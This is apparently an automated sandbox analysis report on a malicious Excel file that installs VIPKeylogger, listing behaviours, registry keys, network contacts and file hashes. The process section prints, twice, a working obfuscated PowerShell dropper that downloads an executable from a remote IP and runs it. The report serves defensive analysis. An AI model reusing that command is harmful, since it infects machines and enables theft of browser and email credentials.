Analysis Overview
SHA256
1d7c97138b80caa4a9721ce7575926397613df390e74a0642399918575044a72
Threat Level: Known bad
The file 1d7c97138b80caa4a9721ce7575926397613df390e74a0642399918575044a72.xls was found to be: Known bad.
Malicious Activity Summary
VIPKeylogger
Process spawned unexpected child process
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
Evasion via Device Credential Deployment
Downloads MZ/PE file
Loads dropped DLL
Executes dropped EXE
UPX packed file
Looks up external IP address via web service
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
AutoIT Executable
Drops file in System32 directory
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Browser Information Discovery
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
outlook_office_path
Suspicious use of FindShellTrayWindow
Modifies Internet Explorer settings
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
Suspicious behavior: AddClipboardFormatListener
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Checks processor information in registry
outlook_win_path
Enumerates system info in registry
Uses Volume Shadow Copy service COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-21 09:49
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-21 09:49
Reported
2024-08-21 09:52
Platform
win7-20240729-en
Max time kernel
122s
Max time network
143s
Command Line
Signatures
VIPKeylogger
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\ctfmon.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
AutoIT Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 332 set thread context of 2360 | N/A | C:\Users\Admin\AppData\Roaming\ctfmon.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\ctfmon.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\ctfmon.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\ctfmon.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\ctfmon.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\ctfmon.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\ctfmon.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2257386474-3982792636-3902186748-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1d7c97138b80caa4a9721ce7575926397613df390e74a0642399918575044a72.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/C pOWErsHElL.exe -Ex bYPaSs -noP -W 1 -C DeVICecREdEnTIaLDEpLOYMENT ; iEX($(iex('[system.TeXT.EnCodiNg]'+[chAR]0X3a+[chAR]0x3a+'utf8.geTStRinG([SYStem.ConVErT]'+[ChAr]58+[cHAr]0X3A+'FROmBASE64sTRinG('+[ChAr]0X22+'JHFobFFyVUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYkVSZGVGaU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZkosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTdHcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6VVJkLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBRUU5tcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNbFUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRVNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtUWEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRxaGxRclVFOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNDUuNjYuMjMxLjIwOS8xMzEvY3RmbW9uLmV4ZSIsIiRFTnY6QVBQREFUQVxjdGZtb24uZXhlIiwwLDApO3NUYVJ0LXNMZWVwKDMpO3N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGN0Zm1vbi5leGUi'+[chAr]34+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
pOWErsHElL.exe -Ex bYPaSs -noP -W 1 -C DeVICecREdEnTIaLDEpLOYMENT ; iEX($(iex('[system.TeXT.EnCodiNg]'+[chAR]0X3a+[chAR]0x3a+'utf8.geTStRinG([SYStem.ConVErT]'+[ChAr]58+[cHAr]0X3A+'FROmBASE64sTRinG('+[ChAr]0X22+'JHFobFFyVUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYkVSZGVGaU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1PTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZkosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTdHcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6VVJkLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBRUU5tcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNbFUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRVNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtUWEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRxaGxRclVFOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNDUuNjYuMjMxLjIwOS8xMzEvY3RmbW9uLmV4ZSIsIiRFTnY6QVBQREFUQVxjdGZtb24uZXhlIiwwLDApO3NUYVJ0LXNMZWVwKDMpO3N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGN0Zm1vbi5leGUi'+[chAr]34+'))')))"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\avpvcuom.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1A65.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1A64.tmp"
C:\Users\Admin\AppData\Roaming\ctfmon.exe
"C:\Users\Admin\AppData\Roaming\ctfmon.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Users\Admin\AppData\Roaming\ctfmon.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ir.cx | udp |
| US | 104.21.76.154:443 | ir.cx | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| FR | 216.58.214.163:80 | c.pki.goog | tcp |
| NL | 45.66.231.209:80 | 45.66.231.209 | tcp |
| US | 104.21.76.154:443 | ir.cx | tcp |
| NL | 45.66.231.209:80 | 45.66.231.209 | tcp |
| NL | 45.66.231.209:80 | 45.66.231.209 | tcp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| JP | 132.226.8.169:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 104.21.67.152:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
Files
memory/2412-1-0x00000000724CD000-0x00000000724D8000-memory.dmp
memory/2412-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1904-17-0x0000000001170000-0x0000000001172000-memory.dmp
memory/2412-18-0x0000000002510000-0x0000000002512000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\SDPZEA0W.txt
| MD5 | 8c8f0be7cca815cb1fbf2dcf6077ae2f |
| SHA1 | 7017fb0ac1192d732b1b201d8ce4d98c2d89624c |
| SHA256 | ee3b7c3bced350c1eb975a706b612d5f63810ff9219e5e25726821d3867c86b8 |
| SHA512 | 607e8e676162965cb49fb09d9e621d31af80479126ece5fa90df3b3118ef9a273aaffa5a61c19a42d82585d94ebee0688bc32e422e6330d880a13b310deb05f9 |
C:\Users\Admin\AppData\Local\Temp\Cab11DC.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
| MD5 | 971c514f84bba0785f80aa1c23edfd79 |
| SHA1 | 732acea710a87530c6b08ecdf32a110d254a54c8 |
| SHA256 | f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895 |
| SHA512 | 43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
| MD5 | b45fbb9ce0d2f1e273b0998784d91bc2 |
| SHA1 | 4f516b2eddefca55966d604b112e67475c5ff4a4 |
| SHA256 | 2fd34f3dab3327d1ea8b51beb38848e58e96734f32973a386ff52326ec7f3112 |
| SHA512 | cba01a4c0d5793e2c0b799223aa7e380b2b99787824bbab5eeae2b987e7730ae1d175c3b5766838aa6bf2959afca493075fcf02f3a1131b5c2c10abc4c538824 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
| MD5 | 7fb5fa1534dcf77f2125b2403b30a0ee |
| SHA1 | 365d96812a69ac0a4611ea4b70a3f306576cc3ea |
| SHA256 | 33a39e9ec2133230533a686ec43760026e014a3828c703707acbc150fe40fd6f |
| SHA512 | a9279fd60505a1bfeef6fb07834cad0fd5be02fd405573fc1a5f59b991e9f88f5e81c32fe910f69bdc6585e71f02559895149eaf49c25b8ff955459fd60c0d2e |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
| MD5 | cf3bd07399be9f4084372184779c0335 |
| SHA1 | cf61b1f8e6031e277dc6702aefab4547aba41c12 |
| SHA256 | 7072ef60a408d2ff9b84080ea6712917fa27a384b201df0aa1032f7a1331dd11 |
| SHA512 | 7bf7d4e2bb83dcd06c5673f8266d4f9b87b8acf72faba60db4358521d03076cb10923946300a5e46828797a8e0cc786a7627b7f24436b634d28b2fb818de8067 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6GL24G53\ienetsat[1].hta
| MD5 | c874a7cd1ef60df49ffa191421406a09 |
| SHA1 | 8ea6515cf44c728d29fe179719602346e96280a3 |
| SHA256 | b72942e91327de4efa1e5741123e4bd83b03602d3546f6727499a7e8770e6683 |
| SHA512 | b06ed3b136d5acb2699927a7ec636fb6149781b4ba47eb25e81dd040d71a01872bdeb6be4afb68792354ad4a3e4eca9c44e4b4497da57d7b5e99f69494ddb667 |
\??\c:\Users\Admin\AppData\Local\Temp\avpvcuom.cmdline
| MD5 | 3b34610a3ca9d4f87d2d3a060862a43b |
| SHA1 | 58d5fd8d37d1e59929d497a237e4c9cf35bd7f99 |
| SHA256 | f9ef5a8e7ae4c313a0bbee5a101ef6ba990ee1a304fc1d1b8a60e74b9d6d6743 |
| SHA512 | b734d0d832b3408ef61021d5d88799a66884756b64b72122854bbb11a31082e1e9ad6320905aaf4bbfd3d83fd6bfd86f75a99aa0126fea4d8ebc64b1453ab20b |
\??\c:\Users\Admin\AppData\Local\Temp\avpvcuom.0.cs
| MD5 | 1c63aca6fcd4b799dee16b55bce4c6e2 |
| SHA1 | 8fcd80ccd2301534e23bcfd20fd94ddc46df522a |
| SHA256 | 4eb92cf06004499456c3305b5cb070bbe43de8844b267b72878ace8c339613fb |
| SHA512 | beded648bb2a995fa8a98da6d6682f43bd33e381953def85acf6ef69e77a9f2c8faab6f421c4eff6fdd3988df8c5b46bded68b9097052ce84cff02cfa70c9c0c |
\??\c:\Users\Admin\AppData\Local\Temp\CSC1A64.tmp
| MD5 | 08fe1110373d918bcde578ebdd65dc32 |
| SHA1 | 0d00b9471a17a9632d84bbc326b26d9aee995d3e |
| SHA256 | 11e71860876dc07c6f91d8d5e341a9213f85a78467a4347bdbfd72f63b8c7f46 |
| SHA512 | 2a14a75eb80db6fe60c369ffef39f7744a6938449a3e3d81f4650f321e769b39c64d9ecb119a63aedf36f8473477896446d404ab4ee7e0ce03026a43ee863781 |
C:\Users\Admin\AppData\Local\Temp\RES1A65.tmp
| MD5 | bfdbaf2504c657096cbf4aa07158d24d |
| SHA1 | 614c6451a62fa41b5f5e49bb0be00814468ea9e3 |
| SHA256 | ea708fa16c8f778cfa5ce181e3c34b5692a67d91b832763410156a21fd86f785 |
| SHA512 | d833bd086e328d47fcec0c5cc264dbf151edc854c3e199801a2016aeb749a807dff401f9a04a9685002eaee2f3a9bf43224fa8cce8d8e29ad6c0935c8c4b20e4 |
C:\Users\Admin\AppData\Local\Temp\avpvcuom.dll
| MD5 | afe7b327497749f3d9b45e60893db9fd |
| SHA1 | 6095037d2d5008eae8da481e3f4411401a35808b |
| SHA256 | c3b9839b2a24ccfd0e7f346f8a5175f6911019ff705fe5559437386de7302ae2 |
| SHA512 | f9df0b039fc0be33a7f8ec55fc47a5bc16741baf0d2c433605fabfb9f5215ed5b1d4ee3298190c97e3803b30f5d969332770865293256ca0450cac47f06fe0c5 |
C:\Users\Admin\AppData\Local\Temp\avpvcuom.pdb
| MD5 | c9f5898ca85af495e52fb9d846b543d2 |
| SHA1 | 4045cb65477654a45095aedc47d44dd175812c8a |
| SHA256 | 72a06cad84f56902747380783c3d13ac55040256e3c4c65af729ded147972c18 |
| SHA512 | 74f29529b49659822e35cbd65288dcfe94e4aa08d49e6e6585d7e8b26524b8c404a2bb518d94616ceb51394612b87de580cecdcdd4d7f9ba10a4c3ae687d4a03 |
memory/2412-53-0x00000000724CD000-0x00000000724D8000-memory.dmp
C:\Users\Admin\AppData\Roaming\ctfmon.exe
| MD5 | 2754c20856dbcc1c2d9e8588e9ed16d5 |
| SHA1 | 34e0af1d464a5ba9decc0c7d6fa8fc4791c528d5 |
| SHA256 | c8817e34d3e3721ad4a24061d9df7839a69c40661e9cf58b33b036fd3a282acd |
| SHA512 | 1d0398f4f6910396379930253436ec86d152c08a0cc88fc5cbea986211be9fe00bfabdb9b3bc39b6f323b477b60e84d1279d7bd319243ed6bdc588e2e2cba486 |
memory/1676-60-0x0000000006A80000-0x0000000006C1B000-memory.dmp
memory/2360-76-0x0000000000400000-0x0000000000441000-memory.dmp
memory/2360-77-0x0000000000400000-0x0000000000441000-memory.dmp
memory/332-79-0x0000000001290000-0x000000000142B000-memory.dmp
memory/2360-80-0x00000000007F0000-0x0000000000850000-memory.dmp
memory/2360-81-0x0000000000CD0000-0x0000000000D2C000-memory.dmp
memory/2360-82-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-83-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-109-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-85-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-87-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-89-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-91-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-93-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-95-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-97-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-99-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-101-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-103-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-105-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-111-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-117-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-119-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-139-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-137-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-135-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-133-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-131-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-129-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-127-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-125-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-123-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-121-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-115-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-113-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2360-107-0x0000000000CD0000-0x0000000000D28000-memory.dmp
memory/2412-1176-0x00000000724CD000-0x00000000724D8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-21 09:49
Reported
2024-08-21 09:52
Platform
win10v2004-20240802-en
Max time kernel
144s
Max time network
136s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4380 wrote to memory of 2196 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 4380 wrote to memory of 2196 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1d7c97138b80caa4a9721ce7575926397613df390e74a0642399918575044a72.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
